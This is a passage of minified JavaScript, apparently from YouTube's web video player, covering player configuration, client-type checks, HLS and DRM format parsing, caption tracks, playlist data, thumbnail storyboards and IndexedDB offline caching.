g.WT&&g.Mv(54)||this.B("html5_force_vp9_subsample_encryption_support")||xUJ(this));A=g.bS(this);M=this.RW;d=this.experiments;Z=new yH5(d);A&&(Z.Z=!0,Z.D=.1);d.aU("html5_media_time_weight")&&(Z.Z=!1);M&&(Z.j=M/8);Z.K=BZ()>=480;this.schedule=new lm(Z,new R94(this.experiments),H);g.y(this,this.schedule);var R;this.enableSafetyMode=(R=T==null?void 0:T.initialEnableSafetyMode)!=null?R:ox(!1,x.enable_safety_mode);H=this.QU?!1:FB(this)&&this.playerStyle!=="blazer";var Y;T?T.disableAutonav!=null&&(Y=!T.disableAutonav):
Y=x.allow_autonav;this.L4=ox(H,!this.jY&&Y);this.sendVisitorIdHeader=T?!!T.sendVisitorIdHeader:ox(!1,x.send_visitor_id_header);var b;this.playerStyle==="docs"&&(T?b=T.disableNativeContextMenu:b=x.disable_native_context_menu);this.disableNativeContextMenu=ox(!1,b);this.Fe=Un(this)&&this.B("enable_skip_intro_button");this.embedConfig=uj("",T?T.serializedEmbedConfig:x.embed_config);this.Hv=ij(x,g.zw(this));this.j=this.Hv==="EMBEDDED_PLAYER_MODE_PFL";this.embedsErrorLinks=!(T==null||!T.embedsErrorLinks);
this.vE=ox(!1,x.full_window);var z;this.Ee=!((z=this.webPlayerContextConfig)==null?0:z.chromeless);var F;this.livingRoomAppMode=tt("LIVING_ROOM_APP_MODE_UNSPECIFIED",x.living_room_app_mode||(T==null?void 0:(F=T.device)==null?void 0:F.livingRoomAppMode),TLH);var V;Y=sY(NaN,T==null?void 0:(V=T.device)==null?void 0:V.deviceYear);isNaN(Y)||(this.deviceYear=Y);this.transparentBackground=T?!!T.transparentBackground:ox(!1,x.transparent_background);this.showMiniplayerButton=T?!!T.showMiniplayerButton:ox(!1,
x.show_miniplayer_button);var B;g.zw(this)&&!(T==null?0:(B=T.embedsHostFlags)==null?0:B.allowSetFauxFullscreen)?this.externalFullscreen=!1:this.externalFullscreen=T?!!T.externalFullscreen:ox(!1,x.external_fullscreen);this.showMiniplayerUiWhenMinimized=T?!!T.showMiniplayerUiWhenMinimized:ox(!1,x.use_miniplayer_ui);var D;this.I8=(D=x.show_loop_video_toggle)!=null?D:!0;this.qY=Math.random()<1E-4;this.vD=x.onesie_hot_config||(T==null?0:T.onesieHotConfig)?new nlC(x.onesie_hot_config,T==null?void 0:T.onesieHotConfig):
void 0;this.isTectonic=T?!!T.isTectonic:!!x.isTectonic;this.playerCanaryState=t;this.playerCanaryStage=T==null?void 0:T.canaryStage;this.hR=new JH5;g.y(this,this.hR);this.jb=ox(!1,x.force_gvi);this.datasyncId=(T==null?void 0:T.datasyncId)||g.pr("DATASYNC_ID");this.Xh=g.pr("LOGGED_IN",!1);this.nU=(T==null?void 0:T.allowWoffleManagement)||!1;this.Sd=Infinity;this.EU=NaN;this.livingRoomPoTokenId=T==null?void 0:T.livingRoomPoTokenId;this.B("html5_high_res_logging_always")?this.qz=!0:this.qz=Math.random()*
100<g.Z9(this.experiments,"html5_high_res_logging_percent");var f;this.ZV=!!(T==null?0:(f=T.embedsHostFlags)==null?0:f.allowRcat);this.ir=!g.L1(this)&&!Dm(this)};
g.aQ=function(x){var T,t;if(!((T=x.webPlayerContextConfig)==null?0:(t=T.embedsHostFlags)==null?0:t.enableLiteUx)||x.rp||x.D||x.j||x.Hv==="EMBEDDED_PLAYER_MODE_PFP")return"EMBEDDED_PLAYER_LITE_MODE_NONE";x=g.Z9(x.experiments,"embeds_web_lite_mode");return x===void 0?"EMBEDDED_PLAYER_LITE_MODE_UNKNOWN":x>=0&&x<o_D.length?o_D[x]:"EMBEDDED_PLAYER_LITE_MODE_UNKNOWN"};
W_=function(x,T,t){t=t===void 0?!1:t;x.tM=uj(x.tM,T.video_id);x.mu=uj(x.mu,T.eventid);x.mu&&(RR=x.mu);for(var u=[],H=g.S(Object.keys(tI4)),I=H.next();!I.done;I=H.next()){I=tI4[I.value];var E=T[I];E!=null&&(E!==x.C[I]&&u.push(I),x.C[I]=E)}!t&&u.length>0&&x.qY&&(u.sort(),g.Vh(new g.CS("Player client parameters changed after startup",u)));x.userAge=sY(x.userAge,T.user_age);x.Xt=uj(x.Xt,T.user_display_email);x.userDisplayImage=uj(x.userDisplayImage,T.user_display_image);g.xm(x.userDisplayImage)||(x.userDisplayImage=
"");x.userDisplayName=uj(x.userDisplayName,T.user_display_name);x.zc=uj(x.zc,T.user_gender);x.csiPageType=uj(x.csiPageType,T.csi_page_type);x.csiServiceName=uj(x.csiServiceName,T.csi_service_name);x.kX=ox(x.kX,T.enablecsi);x.pageId=uj(x.pageId,T.pageid);if(t=T.enabled_engage_types)x.enabledEngageTypes=new Set(t.split(","));T.living_room_session_po_token&&(x.mY=T.living_room_session_po_token.toString())};
N_=function(x,T){return!x.D&&yX()&&YP(55)&&x.controlsType==="3"&&!T};
g.JF=function(x){x=B_(x.lf);return x==="www.youtube-nocookie.com"?"www.youtube.com":x};
C1=function(x,T,t){return x.protocol+"://i1.ytimg.com/vi/"+T+"/"+(t||"hqdefault.jpg")};
QZ=function(x){return FB(x)&&!g.L1(x)};
g.VZ=function(x){return x.B("html5_local_playsinline")?Or&&!g.Mv(602)&&!("playsInline"in Ft()):Or&&!x.yS||g.D2("nintendo wiiu")?!0:!1};
wV=function(x){return x.C.c};
g.bS=function(x){return/^TVHTML5/.test(wV(x))};
g.p1=function(x){return wV(x)==="TVHTML5"};
QGX=function(x){return wV(x)==="TVHTML5_SIMPLY_EMBEDDED_PLAYER"};
xUJ=function(x){return x.C.cmodel==="CHROMECAST ULTRA/STEAK"||x.C.cmodel==="CHROMECAST/STEAK"};
g.O0=function(){return window.devicePixelRatio>1?window.devicePixelRatio:1};
Un=function(x){return/web/i.test(wV(x))};
g.f1=function(x){return wV(x).toUpperCase()==="WEB"};
Dm=function(x){return wV(x)==="WEB_KIDS"};
g.L1=function(x){return wV(x)==="WEB_UNPLUGGED"};
ws=function(x){return wV(x)==="TVHTML5_UNPLUGGED"};
g.Yv=function(x){return g.L1(x)||wV(x)==="TV_UNPLUGGED_CAST"||ws(x)};
g.L2=function(x){return wV(x)==="WEB_REMIX"};
g.K1=function(x){return wV(x)==="WEB_EMBEDDED_PLAYER"};
g.xc=function(x){return(x.deviceIsAudioOnly||!g.vU||CM||x.controlsType==="3"?!1:g.Ky?x.K&&g.Mv(51):!0)||(x.deviceIsAudioOnly||!g.WT||CM||x.controlsType==="3"?!1:g.Ky?x.K&&g.Mv(48):g.Mv(38))||(x.deviceIsAudioOnly||!g.bm||CM||x.controlsType==="3"?!1:g.Ky?x.K&&g.Mv(37):g.Mv(27))||!x.deviceIsAudioOnly&&g.XB&&!SXH()&&g.Mv(11)||!x.deviceIsAudioOnly&&g.M4&&g.Mv("604.4")};
sMq=function(x){if(g.Gw(x)&&hF)return!1;if(g.WT){if(!g.Mv(47)||!g.Mv(52)&&g.Mv(51))return!1}else if(g.M4)return!1;return window.AudioContext||window.webkitAudioContext?!0:!1};
$Uv=function(x,T){return x.enabledEngageTypes.has(T.toString())||uNi.includes(T)};
FB=function(x){return x.Om==="detailpage"};
g.Gw=function(x){return x.Om==="embedded"};
T8=function(x){return x.Om==="leanback"};
k3=function(x){return x.Om==="adunit"||x.playerStyle==="gvn"};
g.n1=function(x){return x.Om==="profilepage"};
g.zw=function(x){return x.K&&g.Gw(x)&&!k3(x)&&!x.D};
oX=function(x){if(!x.userDisplayImage)return"";var T=x.userDisplayImage.split("/");if(T.length===5)return x=T[T.length-1].split("="),x[1]="s20-c",T[T.length-1]=x.join("="),T.join("/");if(T.length===8)return T.splice(7,0,"s20-c"),T.join("/");if(T.length===9)return T[7]+="-s20-c",T.join("/");g.Vh(new g.CS("Profile image not a FIFE URL.",x.userDisplayImage));return x.userDisplayImage};
g.tj=function(x){var T=g.JF(x);HV3.includes(T)&&(T="www.youtube.com");return x.protocol+"://"+T};
g.sP=function(x,T){T=T===void 0?"":T;if(x.KB){var t=new XG,u,H=x.KB();H.signedOut?u="":H.token?u=H.token:H.pendingResult.then(function(I){H.signedOut?t.resolve(""):t.resolve(I.token)},function(I){g.Vh(new g.CS("b189348328_oauth_callback_failed",{error:I}));
t.resolve(T)});
return u!==void 0?vi(u):new FW(t)}return vi(T)};
uq=function(x,T){T=T===void 0?"":T;return x.Xh?q8(!0):dI(mH(q8(g.sP(x,T)),function(t){return q8(!!t)}),function(){return q8(!1)})};
B_=function(x){var T=g.nq(x);return(x=Number(g.Lq(4,x))||null)?T+":"+x:T};
$c=function(x,T){T=T===void 0?!1:T;var t=Nu[x],u=iVq[t],H=Ifm[x];if(!H||!u)return null;T=new WU(T?H.height:H.width,T?H.width:H.height,H.fps);u=eP(u,T,t);return new JE(x,u,{video:T,Zp:H.bitrate/8})};
qOf=function(x){var T=iVq[Nu[x]],t=E_m[x];return t&&T?new JE(x,T,{audio:new aS(t.audioSampleRate,t.numChannels)}):null};
HK=function(x){this.C=x};
iq=function(x,T,t,u){if(t)return hg();t={};var H=Ft();T=g.S(T);for(var I=T.next();!I.done;I=T.next())if(I=I.value,x.canPlayType(H,I.getInfo().mimeType)||u){var E=I.C.video.quality;if(!t[E]||t[E].getInfo().LF())t[E]=I}x=[];t.auto&&x.push(t.auto);u=g.S(D6);for(H=u.next();!H.done;H=u.next())(H=t[H.value])&&x.push(H);return x.length?vi(x):hg()};
ZVf=function(x){this.itag=x.itag;this.url=x.url;this.codecs=x.codecs;this.width=x.width;this.height=x.height;this.fps=x.fps;this.bitrate=x.bitrate;var T;this.Z=((T=x.audioItag)==null?void 0:T.split(","))||[];this.Kk=x.Kk;this.wb=x.wb||"";this.S8=x.S8;this.audioChannels=x.audioChannels;this.C=""};
jMD=function(x,T,t,u){T=T===void 0?!1:T;t=t===void 0?!0:t;u=u===void 0?{}:u;var H={};x=g.S(x);for(var I=x.next();!I.done;I=x.next()){I=I.value;if(T&&MediaSource&&MediaSource.isTypeSupported){var E=I.type;I.audio_channels&&(E=E+"; channels="+I.audio_channels);if(!MediaSource.isTypeSupported(E)){u[I.itag]="tpus";continue}}if(t||!I.drm_families||I.eotf!=="smpte2084"&&I.eotf!=="arib-std-b67"){E=void 0;var Z={bt709:"SDR",bt2020:"SDR",smpte2084:"PQ","arib-std-b67":"HLG"},e=I.type.match(/codecs="([^"]*)"/);
e=e?e[1]:"";I.audio_track_id&&(E=new g.iQ(I.name,I.audio_track_id,!!I.is_default));var l=I.eotf;I=new ZVf({itag:I.itag,url:I.url,codecs:e,width:Number(I.width),height:Number(I.height),fps:Number(I.fps),bitrate:Number(I.bitrate),audioItag:I.audio_itag,Kk:l?Z[l]:void 0,wb:I.drm_families,S8:E,audioChannels:Number(I.audio_channels)});H[I.itag]=H[I.itag]||[];H[I.itag].push(I)}else u[I.itag]="enchdr"}return H};
ePf=function(x,T,t,u,H){this.j=x;this.Z=T;this.T=t;this.cpn=u;this.D=H;this.K=0;this.C=""};
lfq=function(x,T){x.j.some(function(t){var u;return((u=t.S8)==null?void 0:u.getId())===T});
x.C=T};
IX=function(x,T,t){x.cpn&&(T=g.NY(T,{cpn:x.cpn}));t&&(T=g.NY(T,{paired:t}));return T};
mUH=function(x,T){x=x.itag.toString();T!==null&&(x+=T.itag.toString());return x};
dU5=function(x){for(var T=[],t=[],u=g.S(x.Z),H=u.next();!H.done;H=u.next())H=H.value,H.bitrate<=x.K?T.push(H):t.push(H);T.sort(function(I,E){return E.bitrate-I.bitrate});
t.sort(function(I,E){return I.bitrate-E.bitrate});
x.Z=T.concat(t)};
EP=function(x,T,t){this.C=x;this.Z=T;this.expiration=t;this.QA=null};
MI3=function(x,T){if(!(CM||QX()||Jg()))return null;x=jMD(T,x.B("html5_filter_fmp4_in_hls"));if(!x)return null;T=[];for(var t={},u=g.S(Object.keys(x)),H=u.next();!H.done;H=u.next()){H=g.S(x[H.value]);for(var I=H.next();!I.done;I=H.next()){var E=I.value;E.S8&&(I=E.S8.getId(),t[I]||(E=new g.tv(I,E.S8),t[I]=E,T.push(E)))}}return T.length>0?T:null};
cOH=function(x,T,t,u,H,I,E){if(!(CM||QX()||Jg()))return hg();var Z={},e=AOv(t),l=jMD(t,x.B("html5_filter_fmp4_in_hls"),x.T.N,Z);if(!l)return E({noplst:1}),hg();RPf(l);t={};var m=(t.fairplay="https://youtube.com/api/drm/fps?ek=uninitialized",t),d;t=[];var M=[],A=[],R=null,Y="";u=u&&u.match(/hls_timedtext_playlist/)?new ZVf({itag:"0",url:u,codecs:"vtt",width:0,height:0,fps:0,bitrate:0,S8:new g.iQ("English","en",!1)}):null;for(var b=g.S(Object.keys(l)),z=b.next();!z.done;z=b.next())if(z=z.value,!x.B("html5_disable_drm_hfr_1080")||
z!=="383"&&z!=="373"){z=g.S(l[z]);for(var F=z.next();!F.done;F=z.next())if(F=F.value,F.width){for(var V=g.S(F.Z),B=V.next();!B.done;B=V.next())if(B=B.value,l[B]){F.C=B;break}F.C||(F.C=P_f(l,F));if(V=l[F.C])if(t.push(F),F.wb==="fairplay"&&(d=m),B="",F.Kk==="PQ"?B="smpte2084":F.Kk==="HLG"&&(B="arib-std-b67"),B&&(Y=B),A.push(SOq(V,[F],u,I,F.itag,F.width,F.height,F.fps,e,void 0,void 0,d,B)),!R||F.width*F.height*F.fps>R.width*R.height*R.fps)R=F}else M.push(F)}else Z[z]="disdrmhfr";A.reduce(function(D,
f){return f.getInfo().isEncrypted()&&D},!0)&&(d=m);
H=Math.max(H,0);m=R||{};l=m.fps===void 0?0:m.fps;R=m.width===void 0?0:m.width;m=m.height===void 0?0:m.height;b=x.B("html5_native_audio_track_switching");A.push(SOq(M,t,u,I,"93",R,m,l,e,"auto",H,d,Y,b));Object.entries(Z).length&&E(Z);return iq(x.T,A,N_(x,T),!1)};
SOq=function(x,T,t,u,H,I,E,Z,e,l,m,d,M,A){for(var R=0,Y="",b=g.S(x),z=b.next();!z.done;z=b.next())z=z.value,Y||(Y=z.itag),z.audioChannels&&z.audioChannels>R&&(R=z.audioChannels,Y=z.itag);H=new JE(H,"application/x-mpegURL",{audio:new aS(0,R),video:new WU(I,E,Z,null,void 0,l,void 0,M),wb:d,N$:Y});x=new ePf(x,T,t?[t]:[],u,!!A);x.K=m?m:1369843;return new EP(H,x,e)};
AOv=function(x){x=g.S(x);for(var T=x.next();!T.done;T=x.next())if(T=T.value,T.url&&(T=T.url.split("expire/"),!(T.length<=1)))return+T[1].split("/")[0];return NaN};
P_f=function(x,T){for(var t=g.S(Object.keys(x)),u=t.next();!u.done;u=t.next()){u=u.value;var H=x[u][0];if(!H.width&&H.wb===T.wb&&!H.audioChannels)return u}return""};
RPf=function(x){for(var T=new Set,t=g.S(Object.values(x)),u=t.next();!u.done;u=t.next())u=u.value,u.length&&(u=u[0],u.height&&u.codecs.startsWith("vp09")&&T.add(u.height));t=[];if(T.size){u=g.S(Object.keys(x));for(var H=u.next();!H.done;H=u.next())if(H=H.value,x[H].length){var I=x[H][0];I.height&&T.has(I.height)&&!I.codecs.startsWith("vp09")&&t.push(H)}}T=g.S(t);for(t=T.next();!t.done;t=T.next())delete x[t.value]};
qE=function(x,T){this.C=x;this.Z=T};
YO3=function(x,T,t,u){var H=[];t=g.S(t);for(var I=t.next();!I.done;I=t.next()){var E=I.value;if(E.url){I=new g.ct(E.url,!0);if(E.s){var Z=I,e=E.sp,l=SnJ(decodeURIComponent(E.s));Z.set(e,encodeURIComponent(l))}Z=g.S(Object.keys(u));for(e=Z.next();!e.done;e=Z.next())e=e.value,I.set(e,u[e]);E=sc(E.type,E.quality,E.itag,E.width,E.height);H.push(new qE(E,I))}}return iq(x.T,H,N_(x,T),!1)};
ZG=function(x,T){this.C=x;this.Z=T};
UUi=function(x,T,t){var u=[];t=g.S(t);for(var H=t.next();!H.done;H=t.next())if((H=H.value)&&H.url){var I=sc(H.type,"medium","0");u.push(new ZG(I,H.url))}return iq(x.T,u,N_(x,T),!1)};
bVf=function(x,T){var t=[],u=sc(T.type,"auto",T.itag);t.push(new ZG(u,T.url));return iq(x.T,t,!1,!0)};
zPm=function(x){return x&&rOD[x]?rOD[x]:null};
kfH=function(x){if(x=x.commonConfig)this.url=x.url,this.urlQueryOverride=x.urlQueryOverride,x.ustreamerConfig&&(this.VT=im(x.ustreamerConfig)||void 0)};
FYV=function(x,T){var t;if(T=T==null?void 0:(t=T.watchEndpointSupportedOnesieConfig)==null?void 0:t.html5PlaybackOnesieConfig)x.dJ=new kfH(T)};
g.jO=function(x){x=x===void 0?{}:x;this.languageCode=x.languageCode||"";this.languageName=x.languageName||null;this.kind=x.kind||"";this.name=x.name===void 0?null:x.name;this.displayName=x.displayName||null;this.id=x.id||null;this.C=x.is_servable||!1;this.isTranslateable=x.is_translateable||!1;this.url=x.url||null;this.vssId=x.vss_id||"";this.isDefault=x.is_default||!1;this.translationLanguage=x.translationLanguage||null;this.xtags=x.xtags||"";this.captionId=x.captionId||""};
g.lq=function(x){var T={languageCode:x.languageCode,languageName:x.languageName,displayName:g.eO(x),kind:x.kind,name:x.name,id:x.id,is_servable:x.C,is_default:x.isDefault,is_translateable:x.isTranslateable,vss_id:x.vssId};x.xtags&&(T.xtags=x.xtags);x.captionId&&(T.captionId=x.captionId);x.translationLanguage&&(T.translationLanguage=x.translationLanguage);return T};
g.mJ=function(x){return x.translationLanguage?x.translationLanguage.languageCode:x.languageCode};
g.hPJ=function(x){var T=x.vssId;x.translationLanguage&&T&&(T="t"+T+"."+g.mJ(x));return T};
g.eO=function(x){var T=[];if(x.displayName)T.push(x.displayName);else{var t=x.languageName||"";T.push(t);x.kind==="asr"&&t.indexOf("(")===-1&&T.push(" (Automatic Captions)");x.name&&T.push(" - "+x.name)}x.translationLanguage&&T.push(" >> "+x.translationLanguage.languageName);return T.join("")};
LYq=function(x,T,t,u){x||(x=T&&v_C.hasOwnProperty(T)&&VIJ.hasOwnProperty(T)?VIJ[T]+"_"+v_C[T]:void 0);T=x;if(!T)return null;x=T.match(Gfm);if(!x||x.length!==5)return null;if(x=T.match(Gfm)){var H=Number(x[3]),I=[7,8,10,5,6];x=!(Number(x[1])===1&&H===8)&&I.indexOf(H)>=0}else x=!1;return t||u||x?T:null};
d0=function(x,T){for(var t={},u=g.S(Object.keys(n_J)),H=u.next();!H.done;H=u.next()){H=H.value;var I=T?T+H:H;I=x[I+"_webp"]||x[I];g.xm(I)&&(t[n_J[H]]=I)}return t};
ME=function(x){var T={};if(!x||!x.thumbnails)return T;x=x.thumbnails.filter(function(Z){return!!Z.url});
x.sort(function(Z,e){return Z.width-e.width||Z.height-e.height});
for(var t=g.S(Object.keys(af4)),u=t.next();!u.done;u=t.next()){var H=Number(u.value);u=af4[H];for(var I=g.S(x),E=I.next();!E.done;E=I.next())if(E=E.value,E.width>=H){H=g_D(E.url);g.xm(H)&&(T[u]=H);break}}(x=x.pop())&&x.width>=1280&&(x=g_D(x.url),g.xm(x)&&(T["maxresdefault.jpg"]=x));return T};
g_D=function(x){return x.startsWith("//")?"https:"+x:x};
Aj=function(x){return x&&x.baseUrl||""};
RX=function(x){x=g.sr(x);for(var T=g.S(Object.keys(x)),t=T.next();!t.done;t=T.next()){t=t.value;var u=x[t];x[t]=Array.isArray(u)?u[0]:u}return x};
BLX=function(x,T){x.botguardData=T.playerAttestationRenderer.botguardData;T=T.playerAttestationRenderer.challenge;T!=null&&(x.iR=T)};
yOX=function(x,T){T=g.S(T);for(var t=T.next();!t.done;t=T.next()){t=t.value;var u=t.interstitials.map(function(E){var Z=g.N(E,WYD);if(Z)return{is_yto_interstitial:!0,raw_player_response:Z};if(E=g.N(E,DUf))return Object.assign({is_yto_interstitial:!0},o6(E))});
u=g.S(u);for(var H=u.next();!H.done;H=u.next())switch(H=H.value,t.podConfig.playbackPlacement){case "INTERSTITIAL_PLAYBACK_PLACEMENT_PRE":x.interstitials=x.interstitials.concat({time:0,playerVars:H,wR:5});break;case "INTERSTITIAL_PLAYBACK_PLACEMENT_POST":x.interstitials=x.interstitials.concat({time:0x7ffffffffffff,playerVars:H,wR:6});break;case "INTERSTITIAL_PLAYBACK_PLACEMENT_INSERT_AT_VIDEO_TIME":var I=Number(t.podConfig.timeToInsertAtMillis);x.interstitials=x.interstitials.concat({time:I,playerVars:H,
wR:I===0?5:7})}}};
NL4=function(x,T){if(T=T.find(function(t){return!(!t||!t.tooltipRenderer)}))x.tooltipRenderer=T.tooltipRenderer};
JOH=function(x,T){T.subscribeCommand&&(x.subscribeCommand=T.subscribeCommand);T.unsubscribeCommand&&(x.unsubscribeCommand=T.unsubscribeCommand);T.addToWatchLaterCommand&&(x.addToWatchLaterCommand=T.addToWatchLaterCommand);T.removeFromWatchLaterCommand&&(x.removeFromWatchLaterCommand=T.removeFromWatchLaterCommand);T.getSharePanelCommand&&(x.getSharePanelCommand=T.getSharePanelCommand)};
C_C=function(x,T){T!=null?(x.O9=T,x.E0=!0):(x.O9="",x.E0=!1)};
PK=function(x,T){this.type=x||"";this.id=T||""};
g.SO=function(x){return new PK(x.substring(0,2),x.substring(2))};
g.cK=function(x,T){this.Pv=x;this.author="";this.lk=null;this.playlistLength=0;this.C=this.sessionData=null;this.S={};this.title="";if(T){this.author=T.author||T.playlist_author||"";this.title=T.playlist_title||"";if(x=T.session_data)this.sessionData=xD(x,"&");var t;this.C=((t=T.thumbnail_ids)==null?void 0:t.split(",")[0])||null;this.S=d0(T,"playlist_");this.videoId=T.video_id||void 0;if(t=T.list)switch(T.listType){case "user_uploads":this.playlistId=(new PK("UU","PLAYER_"+t)).toString();break;default:if(x=
T.playlist_length)this.playlistLength=Number(x)||0;this.playlistId=g.SO(t).toString();if(T=T.video)this.videoId=(T[0]||null).video_id||void 0}else T.playlist&&(this.playlistLength=T.playlist.toString().split(",").length)}};
g.Yc=function(x,T){this.Pv=x;this.A6=this.author="";this.lk=null;this.isUpcoming=this.isLivePlayback=!1;this.lengthSeconds=0;this.sJ=this.lengthText="";this.sessionData=null;this.S={};this.title="";if(T){this.ariaLabel=T.aria_label||void 0;this.author=T.author||"";this.A6=T.A6||"";if(x=T.endscreen_autoplay_session_data)this.lk=xD(x,"&");this.Oa=T.Oa;this.isLivePlayback=T.live_playback==="1";this.isUpcoming=!!T.isUpcoming;if(x=T.length_seconds)this.lengthSeconds=typeof x==="string"?Number(x):x;this.lengthText=
T.lengthText||"";this.sJ=T.sJ||"";this.publishedTimeText=T.publishedTimeText||void 0;if(x=T.session_data)this.sessionData=xD(x,"&");this.shortViewCount=T.short_view_count_text||void 0;this.S=d0(T);this.title=T.title||"";this.videoId=T.docid||T.video_id||T.videoId||T.id||void 0;this.watchUrl=T.watchUrl||void 0}};
QMm=function(x){var T,t,u=(T=x.getWatchNextResponse())==null?void 0:(t=T.contents)==null?void 0:t.twoColumnWatchNextResults,H,I,E,Z,e;x=(H=x.getWatchNextResponse())==null?void 0:(I=H.playerOverlays)==null?void 0:(E=I.playerOverlayRenderer)==null?void 0:(Z=E.endScreen)==null?void 0:(e=Z.watchNextEndScreenRenderer)==null?void 0:e.results;if(!x){var l,m;x=u==null?void 0:(l=u.endScreen)==null?void 0:(m=l.endScreen)==null?void 0:m.results}return x};
g.bq=function(x){var T,t,u;x=g.N((T=x.getWatchNextResponse())==null?void 0:(t=T.playerOverlays)==null?void 0:(u=t.playerOverlayRenderer)==null?void 0:u.decoratedPlayerBarRenderer,UP);return g.N(x==null?void 0:x.playerBar,p1f)};
OV3=function(x){this.C=x.playback_progress_0s_url;this.j=x.playback_progress_2s_url;this.Z=x.playback_progress_10s_url};
ffm=function(){if(r0===void 0){try{window.localStorage.removeItem("yt-player-lv")}catch(T){}a:{try{var x=!!self.localStorage}catch(T){x=!1}if(x&&(x=g.Le(g.QT()+"::yt-player"))){r0=new gJ(x);break a}r0=void 0}}return r0};
g.z8=function(){var x=ffm();if(!x)return{};try{var T=x.get("yt-player-lv");return JSON.parse(T||"{}")}catch(t){return{}}};
g.w13=function(x){var T=ffm();T&&(x=JSON.stringify(x),T.set("yt-player-lv",x))};
g.kc=function(x){return g.z8()[x]||0};
g.F4=function(x,T){var t=g.z8();T!==t[x]&&(T!==0?t[x]=T:delete t[x],g.w13(t))};
g.hj=function(x){return g.G(function(T){return T.return(g.yb(KY3(),x))})};
Vv=function(x,T,t,u,H,I,E,Z){var e,l,m,d,M,A;return g.G(function(R){switch(R.C){case 1:return e=g.kc(x),e===4?R.return(4):g.v(R,g.wm(),2);case 2:l=R.Z;if(!l)throw g.Ru("wiac");if(!Z||E===void 0){R.lG(3);break}return g.v(R,X1f(Z,E),4);case 4:E=R.Z;case 3:return m=t.lastModified||"0",g.v(R,g.hj(l),5);case 5:return d=R.Z,g.PX(R,6),vK++,g.v(R,g.F3(d,["index","media"],{mode:"readwrite",tag:"IDB_TRANSACTION_TAG_WIAC",c9:!0},function(Y){if(I!==void 0&&E!==void 0){var b=""+x+"|"+T.id+"|"+m+"|"+String(I).padStart(10,
"0");b=g.hS(Y.objectStore("media"),E,b)}else b=g.SD.resolve(void 0);var z=xJi(x,T.Zo()),F=xJi(x,!T.Zo()),V={fmts:Tz5(u),format:t||{}};z=g.hS(Y.objectStore("index"),V,z);var B=u.downloadedEndTime===-1;V=B?Y.objectStore("index").get(F):g.SD.resolve(void 0);var D={fmts:"music",format:{}};Y=B&&H&&!T.Zo()?g.hS(Y.objectStore("index"),D,F):g.SD.resolve(void 0);return g.SD.all([Y,V,b,z]).then(function(f){f=g.S(f);f.next();f=f.next().value;vK--;var O=g.kc(x);if(O!==4&&B&&H||f!==void 0&&g.oYv(f.fmts))O=1,g.F4(x,
O);return O})}),8);
case 8:return R.return(R.Z);case 6:M=g.Yq(R);vK--;A=g.kc(x);if(A===4)return R.return(A);g.F4(x,4);throw M;}})};
g.tAV=function(x){var T,t;return g.G(function(u){if(u.C==1)return g.v(u,g.wm(),2);if(u.C!=3){T=u.Z;if(!T)throw g.Ru("ri");return g.v(u,g.hj(T),3)}t=u.Z;return u.return(g.F3(t,["index"],{mode:"readonly",tag:"IDB_TRANSACTION_TAG_LMRI"},function(H){var I=IDBKeyRange.bound(x+"|",x+"~");return H.objectStore("index").getAll(I).then(function(E){return E.map(function(Z){return Z?Z.format:{}})})}))})};
uA4=function(x,T,t,u,H){var I,E,Z;return g.G(function(e){if(e.C==1)return g.v(e,g.wm(),2);if(e.C!=3){I=e.Z;if(!I)throw g.Ru("rc");return g.v(e,g.hj(I),3)}E=e.Z;Z=g.F3(E,["media"],{mode:"readonly",tag:"IDB_TRANSACTION_TAG_LMRM"},function(l){var m=""+x+"|"+T+"|"+t+"|"+String(u).padStart(10,"0");return l.objectStore("media").get(m)});
return H?e.return(Z.then(function(l){if(l===void 0)throw Error("No data from indexDb");return sj3(H,l)}).catch(function(l){throw new g.CS("Error while reading chunk: "+l.name+", "+l.message);
})):e.return(Z)})};
g.oYv=function(x){return x?x==="music"?!0:x.includes("dlt=-1")||!x.includes("dlt="):!1};
xJi=function(x,T){return""+x+"|"+(T?"v":"a")};
Tz5=function(x){var T={};return T9((T.dlt=x.downloadedEndTime.toString(),T.mket=x.maxKnownEndTime.toString(),T.avbr=x.averageByteRate.toString(),T))};
Hx5=function(x){var T={},t={};x=g.S(x);for(var u=x.next();!u.done;u=x.next()){var H=u.value,I=H.split("|");H.match(g.$Jf)?(u=Number(I.pop()),isNaN(u)?t[H]="?":(I=I.join("|"),(H=T[I])?(I=H[H.length-1],u===I.end+1?I.end=u:H.push({start:u,end:u})):T[I]=[{start:u,end:u}])):t[H]="?"}x=g.S(Object.keys(T));for(u=x.next();!u.done;u=x.next())u=u.value,t[u]=T[u].map(function(E){return E.start+"-"+E.end}).join(",");
return t};
G8=function(x){g.$B.call(this);this.C=null;this.j=new gY;this.C=null;this.D=new Set;this.crossOrigin=x||""};
ix5=function(x,T,t){for(t=LB(x,t);t>=0;){var u=x.levels[t];if(u.isLoaded(nB(u,T))&&(u=g.aX(u,T)))return u;t--}return g.aX(x.levels[0],T)};
EYC=function(x,T,t){t=LB(x,t);for(var u,H;t>=0;t--)if(u=x.levels[t],H=nB(u,T),!u.isLoaded(H)){u=x;var I=t,E=I+"-"+H;u.D.has(E)||(u.D.add(E),u.j.enqueue(I,{l1:I,aQ:H}))}Ih3(x)};
Ih3=function(x){if(!x.C&&!x.j.isEmpty()){var T=x.j.remove();x.C=qFf(x,T)}};
qFf=function(x,T){var t=document.createElement("img");x.crossOrigin&&(t.crossOrigin=x.crossOrigin);t.src=x.levels[T.l1].sY(T.aQ);t.onload=function(){var u=T.l1,H=T.aQ;x.C!==null&&(x.C.onload=null,x.C=null);u=x.levels[u];u.loaded.add(H);Ih3(x);var I=u.columns*u.rows;H*=I;u=Math.min(H+I-1,u.bJ()-1);H=[H,u];x.publish("l",H[0],H[1])};
return t};
g.g0=function(x,T,t,u){this.level=x;this.K=T;this.loaded=new Set;this.level=x;this.K=T;x=t.split("#");this.width=Math.floor(Number(x[0]));this.height=Math.floor(Number(x[1]));this.frameCount=Math.floor(Number(x[2]));this.columns=Math.floor(Number(x[3]));this.rows=Math.floor(Number(x[4]));this.C=Math.floor(Number(x[5]));this.j=x[6];this.signature=x[7];this.videoLength=u};
nB=function(x,T){return Math.floor(T/(x.columns*x.rows))};
g.aX=function(x,T){T>=x.YE()&&x.Nd();var t=nB(x,T),u=x.columns*x.rows,H=T%u;T=H%x.columns;H=Math.floor(H/x.columns);var I=x.Nd()+1-u*t;if(I<x.columns){var E=I;u=1}else E=x.columns,u=I<u?Math.ceil(I/x.columns):x.rows;return{url:x.sY(t),column:T,columns:E,row:H,rows:u,bW:x.width*E,bQ:x.height*u}};
